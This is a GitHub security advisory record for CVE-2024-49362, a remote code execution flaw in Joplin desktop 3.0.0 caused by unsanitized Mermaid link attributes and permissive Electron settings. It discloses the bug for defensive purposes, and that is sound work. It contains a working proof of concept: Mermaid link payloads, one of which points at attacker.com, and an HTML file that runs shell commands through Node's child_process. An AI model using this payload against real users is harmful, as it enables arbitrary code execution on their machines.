CVE-2024-49362: Joplin Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hff8-hjwv-j9q7",
  "modified" : "2025-01-30T18:05:55Z",
  "published" : "2024-11-14T17:38:14Z",
  "aliases" : [ "CVE-2024-49362" ],
  "summary" : "Remote Code Execution on click of <a> Link in markdown preview",
  "details" : "### Summary\n\nThere is a vulnerability in `Joplin-desktop` that leads to remote code execution (RCE) when a user clicks on an `<a>` link within untrusted notes. The issue arises due to insufficient sanitization of `<a>` tag attributes introduced by the `Mermaid`. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.\n\n### Details\n\nIn the markdown preview iframe, `Joplin` only opens `<a>` links internally within the same Electron window if they contain the `data-from-md` attribute. While Joplin successfully sanitizes the `data-from-md` attribute in user-embedded `<a>` links from the `.md` file to prevent the execution of untrusted HTML content, it fails to sanitize the `data-from-md` attributes of `<a>` tags introduced by `Mermaid` (e.g., the code snippet shown below). Since `Mermaid` allows the rendering of certain scriptless HTML elements, an attacker can embed `<a> `tags with `data-from-md` attributes, which will then be opened internally in the same Electron window.\n\nAdditionally, `Joplin` opens the window with `nodeIntegration` set to `true` and `contextIsolation` set to `false`, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the `sandbox` attribute, allowing scripts running in the iframe to call Node.js APIs through `window.parent`. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.\n\n\n**Relevant code references:**\n\n+ Payload to inject `<a>` with `data-from-md` attribute:\n\n````markdown\n```mermaid\nflowchart TD\n    A[<a href=\"https://attacker.com\" data-from-md>hello</a>]\n```\n````\n\n+ Handling link navigation in the markdown preview iframe\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116\n\n+ Window configuration of `Joplin` window\n\nhttps://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155\n\n### PoC\n\nConsidering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: [GHSA-2h88-m32f-qh5m](https://github.com/laurent22/joplin/security/advisories/GHSA-2h88-m32f-qh5m) and [GHSA-g8qx-5vcm-3x59](https://github.com/laurent22/joplin/security/advisories/GHSA-g8qx-5vcm-3x59), where the malicious HTML file is available locally):\n\n+ `poc.md`\n````markdown\n```mermaid\nflowchart TD\n    A[<a href=\"/../../../../../../../../../../../../../../../path/to/poc2.html\" data-from-md>hello</a>]\n```\n````\n\n+ `poc2.html`\n```\n<html>\n  <body>\n    <script>\n      if (typeof window.parent.require !== 'undefined') {\n        const { exec } = window.parent.require('child_process');\n        exec('ls -al', (err, stdout, stderr) => {\n          if (err) {\n            document.body.innerText = `Error: ${err.message}`;\n            return;\n          }\n          if (stderr) {\n            document.body.innerText = `Stderr: ${stderr}`;\n            return;\n          }\n          document.body.innerText = stdout;\n        });\n      } else {\n        document.body.innerText = 'Require is not available in this environment.';\n      }\n    </script>\n  </body>\n</html>\n```\n\nThen, open the `poc.md` with `Joplin` and click on the `hello` link. The code embedded in the `poc2.html` will be executed.\n\n![result](https://github.com/user-attachments/assets/e85fbad8-a348-49cd-af51-4fc302dd6a8f)\n\n### Impact\n\nThis vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "joplin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.0"
      } ]
    } ],
    "versions" : [ "3.0.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/laurent22/joplin/security/advisories/GHSA-hff8-hjwv-j9q7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-49362"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/laurent22/joplin"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-14T17:38:14Z",
    "nvd_published_at" : "2024-11-14T18:15:19Z"
  }
}